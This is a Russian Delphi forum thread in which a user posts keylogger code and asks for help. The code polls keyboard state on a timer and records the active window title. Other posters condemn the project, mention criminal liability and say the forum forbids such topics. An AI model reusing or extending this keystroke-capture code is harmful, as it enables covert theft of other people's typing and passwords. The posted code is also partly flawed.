Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 30.06.2012, 21:26   #1
дима 111231
 
Регистрация: 20.10.2011
Сообщений: 3
По умолчанию Keylogger + Handle на Delphi-7

Всем привет )) вот хочу написать программу которые будет перехватывать клавиши А сверху клавиш будет заголовок активного окна ))) может кто-то поможет мне не могу разобраться ))

Вот сам код (Ketlogger)

procedure TForm1.Timer2Timer(Sender: TObject);
var
i : byte;
begin
for i:=8 To 222 do
begin
if GetAsyncKeyState(i)=-32767 then
begin
case i of

65..90 : // a..z , A..Z
begin
if GetKeyState(VK_SHIFT)<0 then
memo1.text:=memo1.text+LowerCase(Ch r(i)) //a..z
else
memo1.text:=memo1.text+UpperCase(Ch r(i)) //A..Z
end;
end;
end;
end;
end;
end.
///////////////
А вот сам код активного окна

procedure TForm1.Timer1Timer(Sender: TObject);
Var
wnd1,wnd2:hwnd;
A:array[0..255] of char;
begin
wnd1:=FindWindow(nil,'Диспетчер задач Windows');
wnd2:=GetForeGroundWindow;
//По хэнделу можно определить заголовок окна функцией GetWindowText
GetWindowText(wnd2,A,255);
Memo1.text:=('Окно'+ #13+#10 + A);


end;

end.
//////////

смотрим на картинку что-получилось
Изображения
Тип файла: jpg Безымянный.jpg (58.2 Кб, 168 просмотров)
дима 111231 вне форума Ответить с цитированием
Старый 30.06.2012, 21:37   #2
eoln
Старожил
 
Аватар для eoln
 
Регистрация: 26.04.2008
Сообщений: 2,645
По умолчанию

Ужс ))
Смотри в сторону хуков и УК
eoln вне форума Ответить с цитированием
Старый 02.07.2012, 09:46   #3
QunneD
C++ &amp;amp; PHP &amp;amp; Asm
Форумчанин
 
Аватар для QunneD
 
Регистрация: 06.12.2008
Сообщений: 300
По умолчанию

Цитата:
Смотри в сторону хуков и УК
Совершенно солидарен.

А так, Вам не надоело обращаться с такими вопросами каждую неделю?

Уже по стопятцот раз всё разжевано и пережевано, и Вы ей богу надоели мастерить говно-мальварь и потом впаривать сие подделки на хак-форумах.

Темболее на VLC давно уже никто не кодит всякую бяку, а те кто хоть чуть-чуть познали WinAPI - делают жутко неправильную бяку.

А те кто усиленно занимается этой темой, давно используют недок. API для достижения своих целей.

А насчет хуков, то они ана..но караются при проверке сигн аверами, если софтина не подписана, и не внушает никакого доверия.

А мусор весь давно с легкостью отсекается проактивкой.
QunneD вне форума Ответить с цитированием
Старый 03.07.2012, 17:33   #4
Tip.the.besT
------------------
Пользователь
 
Регистрация: 15.08.2011
Сообщений: 78
По умолчанию

Насколько я знаю, подобноё запрещено на этом форуме. Да и народ правильно говорит, не лезь туда, о чём не знаешь.

P.S. Хотя скажу честно программированием начал увлекаться именно благодаря хаку. Теперь просто пишу для себя))
C YBA}|{EH|/|EM Tip.the.besT
Tip.the.besT вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Delphi Close Handle патока процесса jone Win Api 16 25.04.2012 12:42
Statusbar и Handle / Delphi unreal2x Помощь студентам 0 05.04.2012 12:26
Undeclared identifier Handle в Delphi 2010 demiancz Общие вопросы Delphi 2 24.08.2011 12:44
Как узнать handle окна имея handle обного из его компонентов SeRhy Win Api 2 18.10.2009 19:31
Как имея handle окна узнать handle edit-a который находится в етом окне SeRhy Общие вопросы Delphi 1 20.07.2008 13:48